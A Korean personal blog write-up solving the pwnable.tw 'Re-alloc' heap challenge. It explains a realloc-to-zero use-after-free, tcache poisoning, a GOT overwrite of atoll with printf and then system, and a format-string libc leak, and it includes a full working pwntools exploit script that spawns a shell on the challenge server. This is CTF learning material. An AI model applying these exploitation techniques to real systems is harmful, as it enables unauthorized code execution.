CIDY
[Pwnable.tw] Re-alloc(Write-up) 본문
원래 오늘 이거까지 두문제 풀랬는데 silver bullet에서 약간 삽질해서 이거 풀 시간이 조금 줄어듦ㅠㅠ 어쩌다 이거보다 revenge를 먼저 풀어버렸는데, revenge는 약간 기출 좀 풀어봤으면 바로 풀 수 있는 문제였는데 이건 잘 기억이 안난다. 그래도 revenge보다는 쉽지 않을까? 한번 풀어보자.

heap문제인데 partial relro? pie없는건 너무 좋다.

menu문제 중에서도 매우 정직한 편인듯. 당연히 제목에서도 볼 수 있듯이 힙문제임. 환경은 그때 tache썼던거 같으니까 18.04에서 하면 될듯. revenge도 18.04에서 문제없이 됐던 것 같다.

이건 alloc함수임. 일단 heap배열이 0, 1만 있는 것으로 보아 딱 두칸까지만 할당해서 그 주소를 저장해주는 것 같다. 두 칸은 좀 심하지 않나...

별일없으면 size입력받고, 0x78이하이면 realloc으로 할당하네 ㅋㅋ 그리고 내가 말한 idx에 저장해준다. 그리고 size만큼 입력도 받아줌. 진짜 전형적인 heap문제 구조인듯. 그 안에서도 꽤 자유로운 편이다. 두 개 제한은 좀 그렇지만, ptr저장해줌 + 사이즈 원하는대로 해줌 + 데이터 쓸수있음 이정도면 뭐..

realloc함수임. 문제 이름처럼 여기서 메인 취약점이 발생하지 않을까? idx입력받고 heap[idx]를 원하는 size로 realloc시켜준다. 이때도 0x78이상은 안 된다. 그리고 만약 더 크게 할당하거나 하면 기존과 다른 주소를 내줄 때도 있어서 아예 heap[idx]를 realloc반환값으로 덮어씌우는듯. 그리고 역시 새로운 size만큼 data입력받음.

free함수이다. 앞에 r이 왜 붙어있냐면 free함수 없이 free시킨다. ㅋㅋ idx입력받고 heap[idx]를 0으로 realloc해서 free시킨다. 그리고 저장된 포인터도 0으로 초기화시켜준다. 여기서 사실 힌트를 다 준거나 다름없다. realloc메뉴에서 size에 0주면 free됨 -> rfree랑 기능은 같은데 대신 전역 포인터 초기화 안됨 -> uaf등 쌉가능.
일단 립씨릭부터 해야한다 size제한 때문에 언소티드 같은거에 연결도 불가하고, 무엇보다 출력함수가 없다. -> 어쩌지? revenge때는 풀 미티게이션이라 고민할것도 없이 fsop를 했었는데 지금 여기서는 got overwrite도 가능하다. 그리고 무엇보다 pie가 없어서 딱히 릭도 필요없고, 이것저것 해보자면 할 수 있을 것 같음. 사실 got쪽으로 연결만 틀어서 overwrite하면.. 예를들어 내 입력을 바로 받는 함수인 atoll같은거를 printf로 덮으면 fsb등 취약점을 아예 만들어버릴수도 있음.
일단 그럼 이 시나리오대로 가보자. atoll의 got를 fd로 연결해서 got overwrite하는쪽으로.. 18.04면 tcache개수 -1될 수 있으니 편하게 overwrite가능할듯함.
일단 이게 realloc(0)했다가 그 청크를 다시 realloc(0x20)등으로 살리려고 하면 alloc error나서 free상태에 남으면서도 값은 쓸 수 있게 해준다는 점을 이용할 수 있다.
흠 그럼 leak은 대충 성공했고, 최종 익스는 어케하지? -> 일단 heap에 있는 애들을 다 지우고 새출발하고싶은데 그게 잘 안됨. ㅋㅋ rfree해도 다 터지고.... -> 그래서 rfree(1)을 하는데, 이게 tcache특) bk부분 검증값때문에 터지는거라 한번더 realloc해서 fd덮어씌울 때 그 bk까지 덮어서 double free가 가능하도록 조작했다. -> 그럼 heap[1]에 새롭게 alloc할 수 있는 기회가 주어진다.
그런데 여기서 최종 익스로 연계하려면 got overwrite를 해야 한다. system("/bin/sh\x00")를 만들려면 내 입력을 직접 받는 atoll을 덮는 게 맞을듯하다. 저걸 또 어케 system으로 덮지? 이 상태에서는 답이 없다. 아무래도 leak하기 이전에 bin에 사이즈 다르게 atoll_got를 두 개 넣어서, 하나는 leak에 쓰고, 하나는 system으로 덮는 용으로 써야할듯하다.
정신차리고 똑바로 한번에 가자...
from pwn import *
def alloc(idx, size, data):
p.sendlineafter(b"Your choice: ", b"1")
p.sendafter(b":", str(idx))
p.sendafter(b":", str(size))
p.sendlineafter(b":", data)
def realloc(idx, size, data):
p.sendlineafter(b"Your choice: ", b"2")
p.sendafter(b":", str(idx))
if(size == 0):
p.sendafter(b":", str(size))
return
p.sendafter(b":", str(size))
p.sendlineafter(b":", data)
def rfree(idx):
p.sendlineafter(b"Your choice: ", b"3")
p.sendafter(b":", str(idx))
#p = process("./re-alloc")
p = remote("chall.pwnable.tw", 10106)
e = ELF("./re-alloc")
#libc = e.libc
libc = ELF("./libc.so")
alarm = 0x404040
atoll_got = 0x404048
atoll_plt = 0x401090
printf_plt = 0x401070
#overwrite fd with atoll_got (uaf)
alloc(0, 0x28, b"A")
realloc(0, 0, b"A")
realloc(0, 0x38, p64(atoll_got) + b"A" * 0x8)
#leave atoll_got in 0x30 tcache
alloc(1, 0x28, b"A")
#delete heap[0] and heap[1]
rfree(1)
realloc(0, 0x38, p64(atoll_got) + b"A" * 0x8)
rfree(0)
#new alloc and overwrite fd with atoll_got (uaf) with another size before
alloc(0, 0x48, b"A")
realloc(0, 0, b"A")
realloc(0, 0x58, p64(atoll_got) + b"A" * 0x8)
#leave atoll_got in 0x50 tcachce
alloc(1, 0x48, b"A")
#delete heap[0] and heap[1]
rfree(1)
realloc(0, 0x58, p64(atoll_got) + b"A" * 0x8)
rfree(0)
#new alloc to overwrite atoll_got with printf_plt
alloc(0, 0x28, p64(printf_plt))
#libc leak with fsb
p.sendlineafter(b"Your choice: ", b"1")
p.sendlineafter(b":", b"%23$p")
libc_start_main = int(p.recvline()[:-1], 16)
libc_base = libc_start_main - 235 - libc.sym['__libc_start_main']
print(hex(libc_base))
system = libc_base + libc.sym['system']
#new alloc to overwrite atoll_got with system
alloc("%1c", f"%{0x48}c", p64(system))
#make system("/bin/sh\x00")
p.sendlineafter(b"Your choice: ", b"1")
p.sendlineafter(b":", b"/bin/sh\x00")
p.interactive()
후기: 솔직히 처음에 릭을 최우선으로 해서 릭까지 성공했다가, 다시 계획을 바꿔 릭 이전으로 돌아가 bin에 atoll을 두 개 넣으려니 너무 힘들고 꼬였다. 괜히 짜뒀던 코드 버리는게 아까워서 두어 시간 넘게 디버깅하느라 시간을 날려버렸는데, 코드 싹 지우고 처음부터 다시 시작하니까 10분만에 바로 성공했다... 힙 문제는 한 번 머리가 꼬이기 시작하면 답이 없어지는 것 같다. 앞쪽에서 뭔가 수정할 부분이 있다면 그냥 처음부터 갈아엎는 게 맞을지도 모른다. 물론 그것도 내가 아직 부족해서 그런 것이겠지만... 그래도 끝까지 풀이 안보고 스스로 해냈다. 뿌듯..


'Hack > Pwnable' 카테고리의 다른 글
[Pwnable.tw] Death Note(Write-up) (0) | 2023.01.09 |
---|---|
[Pwnable.tw] seethefile(Write-up) (1) | 2023.01.07 |
[Pwnable.tw] Silver Bullet(Write-up) (2) | 2023.01.03 |
[Pwnable.tw] applestore(Write-up) (2) | 2023.01.02 |
[Pwnable.tw] hacknote(Write-up) (0) | 2023.01.01 |